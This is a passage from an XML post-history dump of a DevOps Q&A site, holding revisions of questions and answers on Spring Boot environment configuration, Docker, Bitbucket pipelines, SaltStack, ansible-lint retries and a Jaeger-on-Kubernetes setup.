https://stackoverflow.com/a/9063515/329496&#xD;&#xA;  [2]: http://mrhaki.blogspot.com/2015/09/spring-sweets-setting-configuration.html&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#configure-all-key-value-pairs-in-a-configmap-as-container-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="18701" PostHistoryTypeId="5" PostId="4039" RevisionGUID="00df5bb6-c0ac-4881-b67d-f03493ebd694" CreationDate="2018-12-27T06:16:44.850" UserId="1180" Comment="OS X is now called macOS" Text="Apple's [macOS](https://en.wikipedia.org/wiki/macOS) (formerly known as OS X and Mac OS) is a Unix variant built on a Mach/BSD-based kernel and FreeBSD-based userland. On this site, we cover the DevOps-like aspects of the system, including the command-line interface, the filesystem, etc. Question about things that aren't Unix-like (including most of the graphical user interface) are covered at our sister site [Ask Different](http://apple.stackexchange.com/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="18702" PostHistoryTypeId="24" PostId="4039" RevisionGUID="00df5bb6-c0ac-4881-b67d-f03493ebd694" CreationDate="2018-12-27T06:16:44.850" Comment="Proposed by 1180 approved by 40, 47 edit id of 893" ContentLicense="CC BY-SA 4.0" />
  <row Id="18703" PostHistoryTypeId="5" PostId="959" RevisionGUID="69abdd6e-509c-46d0-857e-7dccb6530bd5" CreationDate="2018-12-27T07:04:28.393" UserId="60" Comment="Added tag description" Text="*Microsoft Azure (formerly Windows Azure)* is Microsoft's application platform for the public cloud. Microsoft Azure can be used to build a web application or services that run and store its data in Microsoft data centres. It can connect on-premises applications with each other or map between different sets of identity information.&#xD;&#xA;&#xD;&#xA;Use this tag for questions relating to applications hosted on Azure.&#xD;&#xA;&#xD;&#xA; - [Microsoft Azure](http://en.wikipedia.org/wiki/Microsoft_Azure) on Wikipedia&#xD;&#xA; - [Official Website](http://azure.microsoft.com)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18704" PostHistoryTypeId="24" PostId="959" RevisionGUID="69abdd6e-509c-46d0-857e-7dccb6530bd5" CreationDate="2018-12-27T07:04:28.393" Comment="Proposed by 60 approved by 47, 40 edit id of 896" ContentLicense="CC BY-SA 4.0" />
  <row Id="18705" PostHistoryTypeId="5" PostId="5800" RevisionGUID="a3496d06-8845-4e88-9e97-b52f4619db63" CreationDate="2018-12-27T07:44:42.840" UserId="60" Comment="Improved formatting, removed thanks" Text=" * I have two docker containers A and B that runs on the same user-defined network.&#xD;&#xA; * Container A has a port published, container B hasnt.&#xD;&#xA;&#xD;&#xA; * I do my requests on container's A published port, but container A needs to do requests on container B.&#xD;&#xA;&#xD;&#xA; * The requests to B inside A are mapped to `0.0.0.0:(container B needed port)/route`.&#xD;&#xA; &#xD;&#xA; * These fails.&#xD;&#xA;&#xD;&#xA;How could I call B inside A without getting and changing IP based on the network every time?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18706" PostHistoryTypeId="24" PostId="5800" RevisionGUID="a3496d06-8845-4e88-9e97-b52f4619db63" CreationDate="2018-12-27T07:44:42.840" Comment="Proposed by 60 approved by 40, 707 edit id of 897" ContentLicense="CC BY-SA 4.0" />
  <row Id="18707" PostHistoryTypeId="5" PostId="5802" RevisionGUID="b93f25e4-7f7e-48f0-9d4c-5039a7babdf3" CreationDate="2018-12-27T07:44:45.997" UserId="60" Comment="Minor grammar fixes, link reformatted" Text="Docker is going too far more well-known than Mock. I consistently see Docker used during build in companies that I work for. I think I have seen Mock before, but only because I am a Fedora user.&#xD;&#xA;&#xD;&#xA;However, Docker is not a build tool in of itself, so you can still use Mock inside a container. This is a great way to avoid the &quot;snowflake&quot; build server. By using Docker containers, your builds are consistent no matter what build tool you are using. You can standardize on Docker as a platform for builds, and leave developers to choose the best build tool (whether that's Mock or NPM).&#xD;&#xA;&#xD;&#xA;The only other suggestion I'd have is to run the builds on a CI server, and Docker makes this really easy.&#xD;&#xA;&#xD;&#xA;Here's [one example of a company using Docker for builds][1] (as well as tests and deploys).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://amaysim.engineering/the-3-musketeers-how-make-docker-and-compose-enable-us-to-release-many-times-a-day-e92ca816ef17" ContentLicense="CC BY-SA 4.0" />
  <row Id="18708" PostHistoryTypeId="24" PostId="5802" RevisionGUID="b93f25e4-7f7e-48f0-9d4c-5039a7babdf3" CreationDate="2018-12-27T07:44:45.997" Comment="Proposed by 60 approved by 40, 707 edit id of 898" ContentLicense="CC BY-SA 4.0" />
  <row Id="18709" PostHistoryTypeId="5" PostId="4040" RevisionGUID="1ca32ad8-c4d2-44da-98dc-0c1a6fd8eb3e" CreationDate="2018-12-27T07:44:49.110" UserId="1180" Comment="OS X is now called macOS" Text="The command line and other Unix-like aspects of Apple's macOS" ContentLicense="CC BY-SA 4.0" />
  <row Id="18710" PostHistoryTypeId="24" PostId="4040" RevisionGUID="1ca32ad8-c4d2-44da-98dc-0c1a6fd8eb3e" CreationDate="2018-12-27T07:44:49.110" Comment="Proposed by 1180 approved by 40, 707 edit id of 894" ContentLicense="CC BY-SA 4.0" />
  <row Id="18711" PostHistoryTypeId="50" PostId="5076" RevisionGUID="a211ab78-caa9-4e07-a64f-306d3e8577e7" CreationDate="2018-12-27T09:02:15.433" UserId="-1" />
  <row Id="18712" PostHistoryTypeId="5" PostId="5833" RevisionGUID="5b466da1-30dd-4f80-a495-b095071a9cb9" CreationDate="2018-12-27T12:37:56.437" UserId="10599" Comment="Readability " Text="The typical approach is to use a folder per environment that contains identically named files: &#xD;&#xA;&#xD;&#xA;    conf/dev/application.properties&#xD;&#xA;    conf/test/application.properties&#xD;&#xA;    conf/uat/application.properties&#xD;&#xA;    conf/prod/application.properties&#xD;&#xA;&#xD;&#xA;Then parameterize the @PropertySource to use an  environment variable such as &quot;env&quot;: &#xD;&#xA;&#xD;&#xA;    @PropertySource(&quot;file:${catalina.base}/conf/${env}/application.properties&quot;) &#xD;&#xA;&#xD;&#xA;Now you simply need to ensure that in each environment there is an environment variable defined called &quot;env&quot; that is set correctly (i.e, dev, test, uat or prod). You haven't stated how your launch your application (j2ee server launch script on linux? springboot docker container?) but it shouldn't be a problem to set the environment variable in each environment. &#xD;&#xA;&#xD;&#xA;Rather than load files from &quot;${catalina.base}&quot; you can load files from the classpath with something like: &#xD;&#xA;&#xD;&#xA;    // see https://stackoverflow.com/a/26387933/329496&#xD;&#xA;    @PropertySource(&quot;classpath:${env}/application.properties&quot;)&#xD;&#xA;&#xD;&#xA;If you are building with maven you can create the folders under `src/main/resources` and they will be [copied into the classpath][1]: &#xD;&#xA;&#xD;&#xA;    src/main/resources/dev/application.properties&#xD;&#xA;    src/main/resources/test/application.properties&#xD;&#xA;    src/main/resources/uat/application.properties&#xD;&#xA;    src/main/resources/prod/application.properties&#xD;&#xA;&#xD;&#xA;That simplified things quite a lot. Jenkins doesn't need to do anything at all as the same build/release artefact can be run in any and every environment. It is usually an anti-pattern to have Jenkins have to do extra work to reconfigure an application to work in a particular environment. Rather you should aim to have a single Jenkins release job build an artefact that can be simply copied between environments.   &#xD;&#xA;&#xD;&#xA;There is one downside to such an approach. If you want to create a new environment you have to add a new file into source control and create a new release artefact. With legacy technologies setting up new environments is a lot of work (e.g., commissioning VMs and databases) such that this &quot;extra step&quot; of adding a file to the code doesn't seem like a problem. &#xD;&#xA;&#xD;&#xA;With more modern cloud-native technologies like Kubernetes, you can set up environments in seconds, and &quot;on-demand&quot;. In which case you don't want to be pre-specifying your environments within your codebase. Rather you should follow a [12factor.net](http://12factor.net) approach and define every single property as an environment variable and have spring just use them directly. If you look at the current [springboot documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html) it uses environment variables by default. This means if you haven't defined a `@PropertySource` but you are using things like: &#xD;&#xA;&#xD;&#xA;    @Value(&quot;${name}&quot;)&#xD;&#xA;    private String name;&#xD;&#xA;&#xD;&#xA;they will bbe set from the environment variable of the [same name but using all caps][2]. This then moves the problem to &quot;how do we make sure that the environment variables are correctly set up in each environment&quot;. Technologies that make it easy to spin up environments in seconds (kubernetes, cloudfoundry, swarm) also typically make it easy to manage environment variables. With kubernetes you create a &quot;ConfigMap&quot; (e.g. &quot;my-app-properties&quot;) and have [it mounted as the environment variables][3] for the application. Each environment can then be a separate namespace (possibly on a shared cluster for dev/test but a dedicated cluster for prod) that has its own &quot;my-app-properties&quot; configuration object. &#xD;&#xA;&#xD;&#xA;You can put these settings under source control but not in the application source repo. Rather you can take an &quot;infrastructure as code&quot; approach where everything that runs the application (e.g., all scripts and yaml to set up the environments) is in it's own separate git repo. You can then set up a configuration deploy job that is triggered by a git webhook on the configuration repo. This can push out the new environment variables. That allows you to have continuous deployment of configuration changes that are independent of the continuous deployment of application code. &#xD;&#xA;&#xD;&#xA;If you are using Kubernetes then Helmfile is an excellent choice for that is it won't update anything in kubernetes that hasn't changed within git. This means it is safe to reapply all the configuration in the git repo on every push to a protected master branch; helmfile will double check what is already deployed and only update Kubernetes configuration objects that need to be updated. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/9063515/329496&#xD;&#xA;  [2]: http://mrhaki.blogspot.com/2015/09/spring-sweets-setting-configuration.html&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#configure-all-key-value-pairs-in-a-configmap-as-container-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="18713" PostHistoryTypeId="5" PostId="5833" RevisionGUID="6aa4cce6-fd22-4b9c-b0af-97f5e9a35786" CreationDate="2018-12-27T12:44:48.187" UserId="10599" Comment="Clarification " Text="The typical approach is to use a folder per environment that contains identically named files: &#xD;&#xA;&#xD;&#xA;    conf/dev/application.properties&#xD;&#xA;    conf/test/application.properties&#xD;&#xA;    conf/uat/application.properties&#xD;&#xA;    conf/prod/application.properties&#xD;&#xA;&#xD;&#xA;Then parameterize the @PropertySource to use an  environment variable such as &quot;env&quot;: &#xD;&#xA;&#xD;&#xA;    @PropertySource(&quot;file:${catalina.base}/conf/${env}/application.properties&quot;) &#xD;&#xA;&#xD;&#xA;Now you simply need to ensure that in each environment there is an operating system environment variable defined called &quot;env&quot; that is set correctly (i.e, dev, test, uat or prod). You haven't stated how your launch your application (j2ee server launch script on linux? springboot docker container?) but it shouldn't be a problem to set the environment variable in each environment. &#xD;&#xA;&#xD;&#xA;Rather than load files from &quot;${catalina.base}&quot; you can load files from the classpath with something like: &#xD;&#xA;&#xD;&#xA;    // see https://stackoverflow.com/a/26387933/329496&#xD;&#xA;    @PropertySource(&quot;classpath:${env}/application.properties&quot;)&#xD;&#xA;&#xD;&#xA;If you are building with maven you can create the folders under `src/main/resources` and they will be [copied into the classpath][1]: &#xD;&#xA;&#xD;&#xA;    src/main/resources/dev/application.properties&#xD;&#xA;    src/main/resources/test/application.properties&#xD;&#xA;    src/main/resources/uat/application.properties&#xD;&#xA;    src/main/resources/prod/application.properties&#xD;&#xA;&#xD;&#xA;That simplified things quite a lot. Jenkins doesn't need to do anything at all as the same build/release artefact can be run in any and every environment. It is usually an anti-pattern to have Jenkins have to do extra work to reconfigure an application to work in a particular environment. Rather you should aim to have a single Jenkins release job build an artefact that can be simply copied between environments.   &#xD;&#xA;&#xD;&#xA;There is one downside to such an approach. If you want to create a new environment you have to add a new file into source control and create a new release artefact. With legacy technologies setting up new environments is a lot of work (e.g., commissioning VMs and databases) such that this &quot;extra step&quot; of adding a file to the code doesn't seem like a problem. &#xD;&#xA;&#xD;&#xA;With more modern cloud-native technologies like Kubernetes, you can set up environments in seconds, and &quot;on-demand&quot;. In which case you don't want to be pre-specifying your environments within your codebase. Rather you should follow a [12factor.net](http://12factor.net) approach and define every single property as an environment variable and have spring just use them directly. If you look at the current [springboot documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html) it uses environment variables by default. This means if you haven't defined a `@PropertySource` but you are using things like: &#xD;&#xA;&#xD;&#xA;    @Value(&quot;${name}&quot;)&#xD;&#xA;    private String name;&#xD;&#xA;&#xD;&#xA;they will bbe set from the environment variable of the [same name but using all caps][2]. This then moves the problem to &quot;how do we make sure that the environment variables are correctly set up in each environment&quot;. Technologies that make it easy to spin up environments in seconds (kubernetes, cloudfoundry, swarm) also typically make it easy to manage environment variables. With kubernetes you create a &quot;ConfigMap&quot; (e.g. &quot;my-app-properties&quot;) and have [it mounted as the environment variables][3] for the application. Each environment can then be a separate namespace (possibly on a shared cluster for dev/test but a dedicated cluster for prod) that has its own &quot;my-app-properties&quot; configuration object. &#xD;&#xA;&#xD;&#xA;You can put these settings under source control but not in the application source repo. Rather you can take an &quot;infrastructure as code&quot; approach where everything that runs the application (e.g., all scripts and yaml to set up the environments) is in it's own separate git repo. You can then set up a configuration deploy job that is triggered by a git webhook on the configuration repo. This can push out the new environment variables. That allows you to have continuous deployment of configuration changes that are independent of the continuous deployment of application code. &#xD;&#xA;&#xD;&#xA;If you are using Kubernetes then Helmfile is an excellent choice for that is it won't update anything in kubernetes that hasn't changed within git. This means it is safe to reapply all the configuration in the git repo on every push to a protected master branch; helmfile will double check what is already deployed and only update Kubernetes configuration objects that need to be updated. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/9063515/329496&#xD;&#xA;  [2]: http://mrhaki.blogspot.com/2015/09/spring-sweets-setting-configuration.html&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#configure-all-key-value-pairs-in-a-configmap-as-container-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="18714" PostHistoryTypeId="5" PostId="5833" RevisionGUID="2e15bca8-c66d-4324-929d-df3ac7524689" CreationDate="2018-12-27T12:50:45.667" UserId="10599" Comment="Clarification " Text="The typical approach is to use a folder per environment that contains identically named files: &#xD;&#xA;&#xD;&#xA;    conf/dev/application.properties&#xD;&#xA;    conf/test/application.properties&#xD;&#xA;    conf/uat/application.properties&#xD;&#xA;    conf/prod/application.properties&#xD;&#xA;&#xD;&#xA;Then parameterize the @PropertySource to use an  environment variable such as &quot;env&quot;: &#xD;&#xA;&#xD;&#xA;    @PropertySource(&quot;file:${catalina.base}/conf/${env}/application.properties&quot;) &#xD;&#xA;&#xD;&#xA;Now you simply need to ensure that in each environment there is an operating system environment variable defined called &quot;env&quot; that is set correctly (i.e, dev, test, uat or prod). You haven't stated how your launch your application (j2ee server launch script on linux? springboot docker container?) but it shouldn't be a problem to set the environment variable in each environment. &#xD;&#xA;&#xD;&#xA;Rather than load files from &quot;${catalina.base}&quot; you can load files from the classpath with something like: &#xD;&#xA;&#xD;&#xA;    // see https://stackoverflow.com/a/26387933/329496&#xD;&#xA;    @PropertySource(&quot;classpath:${env}/application.properties&quot;)&#xD;&#xA;&#xD;&#xA;If you are building with maven you can create the folders under `src/main/resources` and they will be [copied into the classpath][1]: &#xD;&#xA;&#xD;&#xA;    src/main/resources/dev/application.properties&#xD;&#xA;    src/main/resources/test/application.properties&#xD;&#xA;    src/main/resources/uat/application.properties&#xD;&#xA;    src/main/resources/prod/application.properties&#xD;&#xA;&#xD;&#xA;That simplified things quite a lot. Jenkins doesn't need to do anything at all as the same build/release artefact can be run in any and every environment. It is usually an anti-pattern to have Jenkins have to do extra work to reconfigure an application to work in a particular environment. Rather you should aim to have a single Jenkins release job build an artefact that can be simply copied between environments.   &#xD;&#xA;&#xD;&#xA;There is one downside to such an approach. If you want to create a new environment you have to add a new file into source control and create a new release artefact. With legacy technologies setting up new environments is a lot of work (e.g., commissioning VMs and databases) such that this &quot;extra step&quot; of adding a file to the code doesn't seem like a problem. &#xD;&#xA;&#xD;&#xA;With more modern cloud-native technologies like Kubernetes, you can set up environments in seconds, and &quot;on-demand&quot;. In which case you don't want to be pre-specifying your environments within your codebase. Rather you should follow a [12factor.net](http://12factor.net) approach and define every single property as an environment variable and have spring just use them directly. If you look at the current [springboot documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html) it uses environment variables by default. This means if you haven't defined a `@PropertySource` but you are using things like: &#xD;&#xA;&#xD;&#xA;    @Value(&quot;${name}&quot;)&#xD;&#xA;    private String name;&#xD;&#xA;&#xD;&#xA;they will bbe set from the environment variable of the [same name but using all caps][2]. This then moves the problem to &quot;how do we make sure that the environment variables are correctly set up in each environment&quot;. Technologies that make it easy to spin up environments in seconds (kubernetes, cloudfoundry, swarm) also typically make it easy to manage environment variables. With kubernetes you create a &quot;ConfigMap&quot; (e.g. &quot;my-app-properties&quot;) and have [it mounted as the environment variables][3] where every key+value defines a unique environment variable for the application. Each logical environment can then be a separate Kubernetes namespace (possibly on a shared cluster for dev/test but a dedicated cluster for prod) that has its own &quot;my-app-properties&quot; configuration object that defines the environment variables for that logical environment . &#xD;&#xA;&#xD;&#xA;You can put these settings under source control but not in the application source repo. Rather you can take an &quot;infrastructure as code&quot; approach where everything that runs the application (e.g., all scripts and yaml to set up the environments) is in it's own separate git repo. You can then set up a configuration deploy job that is triggered by a git webhook on the configuration repo. This can push out the new environment variables. That allows you to have continuous deployment of configuration changes that are independent of the continuous deployment of application code. &#xD;&#xA;&#xD;&#xA;If you are using Kubernetes then Helmfile is an excellent choice for that is it won't update anything in kubernetes that hasn't changed within git. This means it is safe to reapply all the configuration in the git repo on every push to a protected master branch; helmfile will double check what is already deployed and only update Kubernetes configuration objects that need to be updated. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/9063515/329496&#xD;&#xA;  [2]: http://mrhaki.blogspot.com/2015/09/spring-sweets-setting-configuration.html&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#configure-all-key-value-pairs-in-a-configmap-as-container-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="18715" PostHistoryTypeId="2" PostId="5834" RevisionGUID="56fecc31-c4f8-4dd2-b9a4-eccca5613428" CreationDate="2018-12-27T13:07:43.707" UserId="11559" Text="as one (sometimes failing) step of our pipeline we &#xD;&#xA;&#xD;&#xA; - setup environment via installation of docker which runs 3 containers through own `docker-compose`. Unfortunately we could not figure out how to impose any memory limits on individual containers in docker-compose v3 config.&#xD;&#xA; - run tests in `sbt` with  `SBT_OPTS=&quot;-Xmx1500m&quot;` and every second to third time step is failing with OOM&#xD;&#xA;&#xD;&#xA;    definitions:&#xD;&#xA;      services:&#xD;&#xA;        docker:&#xD;&#xA;          memory: 1024&#xD;&#xA;&#xD;&#xA;[Explanation][1] on the memory usage is not clear on this case.&#xD;&#xA;&#xD;&#xA;Could somebody please explain what's going on with the memory allocation to containers, docker host, and step env?&#xD;&#xA;&#xD;&#xA;Interesting is that running the same tests, same containers for multiple times usually gives different results. Understandable that real load on the physical server changes over time and running times can differ - but memory?&#xD;&#xA;&#xD;&#xA;Puzzled...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bitbucket/use-services-and-databases-in-bitbucket-pipelines-874786688.html#UseservicesanddatabasesinBitbucketPipelines-Servicememorylimits" ContentLicense="CC BY-SA 4.0" />
  <row Id="18716" PostHistoryTypeId="1" PostId="5834" RevisionGUID="56fecc31-c4f8-4dd2-b9a4-eccca5613428" CreationDate="2018-12-27T13:07:43.707" UserId="11559" Text="OOM when running Bitbucket pipelines" ContentLicense="CC BY-SA 4.0" />
  <row Id="18717" PostHistoryTypeId="3" PostId="5834" RevisionGUID="56fecc31-c4f8-4dd2-b9a4-eccca5613428" CreationDate="2018-12-27T13:07:43.707" UserId="11559" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18718" PostHistoryTypeId="2" PostId="5835" RevisionGUID="5b4cb867-ec89-4efc-aa83-84903a662071" CreationDate="2018-12-27T14:12:52.680" UserId="10712" Text="Salt stack state to recursively loop over a directory without explicitly specifying file names.&#xD;&#xA;Added single and multiple quotes, that didn't help. I don't wish to specify each file for a file replace. I want to loop all files under dir for replace.&#xD;&#xA;&#xD;&#xA;    {% for file in &quot;/path/{{ to }}/dir&quot; %}&#xD;&#xA;    {{ file }}:&#xD;&#xA;    file.replace:&#xD;&#xA;      - name: {{ file }}&#xD;&#xA;      - pattern: /from/&#xD;&#xA;      - repl: /{{ to }}/&#xD;&#xA;      - backup: False&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;I tried single quotes and multiple quotes, but see the error. I see that the files are not read one by one as expected for a replace.&#xD;&#xA;&#xD;&#xA;    &quot;:{&quot;return&quot;:&quot;ERROR: Minions returned with non-zero exit code&#xD;&#xA;    d01cmw004:&#xD;&#xA;    Data failed to compile:&#xD;&#xA;    ----------&#xD;&#xA;    Rendering SLS 'base:projects.alip.process-server' failed: could not found    expected ':'; line 177&#xD;&#xA;    ---&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;Can we specify a directory in FOR Loop where we have multiple files to be replaced? Is there additional code that I am missing in the above FOR Loop?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18719" PostHistoryTypeId="1" PostId="5835" RevisionGUID="5b4cb867-ec89-4efc-aa83-84903a662071" CreationDate="2018-12-27T14:12:52.680" UserId="10712" Text="How to match a pattern and replace all files in a directory using salt states?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18720" PostHistoryTypeId="3" PostId="5835" RevisionGUID="5b4cb867-ec89-4efc-aa83-84903a662071" CreationDate="2018-12-27T14:12:52.680" UserId="10712" Text="&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18721" PostHistoryTypeId="2" PostId="5836" RevisionGUID="a4e02915-d0fc-4d63-a1df-18294d8d82b0" CreationDate="2018-12-27T14:54:13.853" UserId="11545" Text="Docker was built for linux, it runs on Mac through HyperkIT, which is a lightweight hypervisor. This means Docker only sees devices connected to the hyperkit hypervisor, rather than the devices connected to the Mac.&#xD;&#xA;&#xD;&#xA;Unfortunately, Hyperkit has issues with USB device passthrough from your MacOS to the hypervisor (read more [here][1]) so the --device command won't be much use to you here. You have three options,&#xD;&#xA;&#xD;&#xA;Option 1: Mount the ext4 drive to your Mac (not recommended)&#xD;&#xA;&#xD;&#xA;Whilst your Mac doesn't natively support ext4, there are ways around this. I have installed ext4fuse on your Mac by following [this][2] tutorial. When you have mounted your device, add it to your ubuntu container with the -v flag,&#xD;&#xA;&#xD;&#xA;    docker run -v &lt;Your_volume&gt;:&lt;dest_volume&gt; -it ubuntu bash&#xD;&#xA;&#xD;&#xA;Making sure that the directory of your volume has been added to the file sharing folders in Docker.&#xD;&#xA;&#xD;&#xA;Option 2: create a docker-machine using the virtualbox driver and add the device to the virtualbox vm (still not recommended)&#xD;&#xA;&#xD;&#xA;Follow this great tutorial [here][3] which goes through installing a docker machine with a virtualbox driver and mounting the USB stick.&#xD;&#xA;&#xD;&#xA;Option 3: Run Docker on linux (recommended!)&#xD;&#xA;&#xD;&#xA;I wouldn't recommend using Docker for Mac. It was built for linux and if you don't switch to linux you'll waste your time troubleshooting issues like these for no real reason.&#xD;&#xA;&#xD;&#xA;I've got a mac, but run a few ubuntu cores in virtualbox and then install docker on top of them, that way I can play around with docker starm too (which you can't with docker Mac unless you use docker-machine!&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/hyperkit/issues/149&#xD;&#xA;  [2]: https://apple.stackexchange.com/questions/210198/mount-ext4-on-el-capitan&#xD;&#xA;  [3]: https://milad.ai/docker/2018/05/06/access-usb-devices-in-container-in-mac.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18722" PostHistoryTypeId="2" PostId="5837" RevisionGUID="b52ae7a7-35f0-4b7c-b521-57ce63494bef" CreationDate="2018-12-27T15:13:55.397" UserId="397" Text="`ansible-lint` warning `405` can be quite irritating as in certain cases, i.e. when running locally retrying is very unlikely to make any difference.  Actually resolving it is normally simply a case of adding the following:&#xD;&#xA;&#xD;&#xA;    register: task_result&#xD;&#xA;    until: task_result.rc == 0&#xD;&#xA;    retries: 10&#xD;&#xA;    delay: 2&#xD;&#xA;&#xD;&#xA;When this is added to task Ansible will retry ten times with a delay of two seconds between each retry until the `returncode` is `0`." ContentLicense="CC BY-SA 4.0" />
  <row Id="18723" PostHistoryTypeId="5" PostId="5829" RevisionGUID="b41aa216-83d2-4229-9a4a-5e6f5f0fa9a3" CreationDate="2018-12-27T15:19:06.510" UserId="397" Comment="Added example of a violation, and hyperlinked the warning." Text="&gt; [E405](https://github.com/ansible/ansible-lint/blob/master/docs/docsite/rst/rules/default_rules.rst) v4.0.0 	Remote package tasks should have a retry 	Package&#xD;&#xA;&gt; operations are unreliable as they require network communication and&#xD;&#xA;&gt; the availability of remote servers. To mitigate the potential&#xD;&#xA;&gt; problems, retries should be used via register: my_result and until:&#xD;&#xA;&gt; my_result | success&#xD;&#xA;&#xD;&#xA;This shows up when running `ansible-lint` as the following error:&#xD;&#xA;&#xD;&#xA;    [405] Remote package tasks should have a retry&#xD;&#xA;    plays/sample.yml:31&#xD;&#xA;    Task/Handler: Install list of packages&#xD;&#xA;&#xD;&#xA;Given the sample code:&#xD;&#xA;&#xD;&#xA;    - name: Install list of packages&#xD;&#xA;      apt:&#xD;&#xA;        name: [jq, vim, curl, unzip, dnsutils]&#xD;&#xA;        state: present&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How to solve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18724" PostHistoryTypeId="6" PostId="5829" RevisionGUID="b41aa216-83d2-4229-9a4a-5e6f5f0fa9a3" CreationDate="2018-12-27T15:19:06.510" UserId="397" Comment="Added example of a violation, and hyperlinked the warning." Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18725" PostHistoryTypeId="5" PostId="5837" RevisionGUID="f04c0f84-4f0d-48fd-bc6b-bf364e4db7d8" CreationDate="2018-12-27T16:46:40.517" UserId="397" Comment="More generic approach." Text="`ansible-lint` warning `405` can be quite irritating as in certain cases, i.e. when running locally retrying is very unlikely to make any difference.  Actually resolving it is normally simply a case of adding the following:&#xD;&#xA;&#xD;&#xA;    register: task_result&#xD;&#xA;    until: task_result | success&#xD;&#xA;    retries: 10&#xD;&#xA;    delay: 2&#xD;&#xA;&#xD;&#xA;When this is added to task Ansible will retry ten times with a delay of two seconds between each retry until the `returncode` is `0`." ContentLicense="CC BY-SA 4.0" />
  <row Id="18727" PostHistoryTypeId="5" PostId="5822" RevisionGUID="8f271290-4dcc-4ec7-a783-85291169371a" CreationDate="2018-12-27T17:23:46.703" UserId="11362" Comment="deleted 1489 characters in body" Text="I have a kubernetes cluster on google cloud platform, and on it, I have a jaeger deployment via development setup of [jaeger-kubernetes templates][1] &#xD;&#xA;because my purpose is setup `elasticsearch` like backend storage, due to this, I follow the jaeger-kubernetes github documentation with the following actions&#xD;&#xA;&#xD;&#xA; - I've created the services via [production setup][2] options&#xD;&#xA;&#xD;&#xA;Here are configured the URLs to access to `elasticsearch` server and username and password and ports&#xD;&#xA;&#xD;&#xA;    kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/production-elasticsearch/configmap.yml&#xD;&#xA;&#xD;&#xA;And here, there are configured the download of docker images of the elasticsearch service and their volume mounts. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/production-elasticsearch/elasticsearch.yml&#xD;&#xA;&#xD;&#xA;And then, at this moment we have a elasticsearch service running over 9200 and 9300 ports&#xD;&#xA;&#xD;&#xA;     kubectl get service elasticsearch                                                                                                                                [a89fbe2]&#xD;&#xA;    NAME            TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)             AGE&#xD;&#xA;    elasticsearch   ClusterIP   None         &lt;none&gt;        9200/TCP,9300/TCP   1h&#xD;&#xA;&#xD;&#xA;- I've follow with the creation of jaeger components using the `kubernetes-jaeger` [production templates][3] of this way:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/jaeger-production-template.yml        &#xD;&#xA;    deployment.extensions/jaeger-collector created&#xD;&#xA;    service/jaeger-collector created&#xD;&#xA;    service/zipkin created&#xD;&#xA;    deployment.extensions/jaeger-query created&#xD;&#xA;    service/jaeger-query created&#xD;&#xA;    daemonset.extensions/jaeger-agent created&#xD;&#xA;     &#xD;&#xA;    λ bgarcial [~/workspace/jaeger-elastic] at  master ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;According to the [Jaeger architecture][4], the `jaeger-collector` and `jaeger-query` services require access to backend storage. &#xD;&#xA;     &#xD;&#xA;And so, these are my services running on my kubernetes cluster:&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~/workspace/jaeger-elastic] at  master ?&#xD;&#xA;    → kubectl get services                                                                                  [baefdf9]&#xD;&#xA;    NAME               TYPE           CLUSTER-IP      EXTERNAL-IP      PORT(S)                        AGE&#xD;&#xA;    elasticsearch      ClusterIP      None            &lt;none&gt;           9200/TCP,9300/TCP              3h&#xD;&#xA;    jaeger-collector   ClusterIP      10.55.253.240   &lt;none&gt;           14267/TCP,14268/TCP,9411/TCP   3h&#xD;&#xA;    jaeger-query       LoadBalancer   10.55.248.243   35.228.179.167   80:30398/TCP                   3h&#xD;&#xA;    kubernetes         ClusterIP      10.55.240.1     &lt;none&gt;           443/TCP                        3h&#xD;&#xA;    zipkin             ClusterIP      10.55.240.60    &lt;none&gt;           9411/TCP                       3h&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~/workspace/jaeger-elastic] at  master ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- I 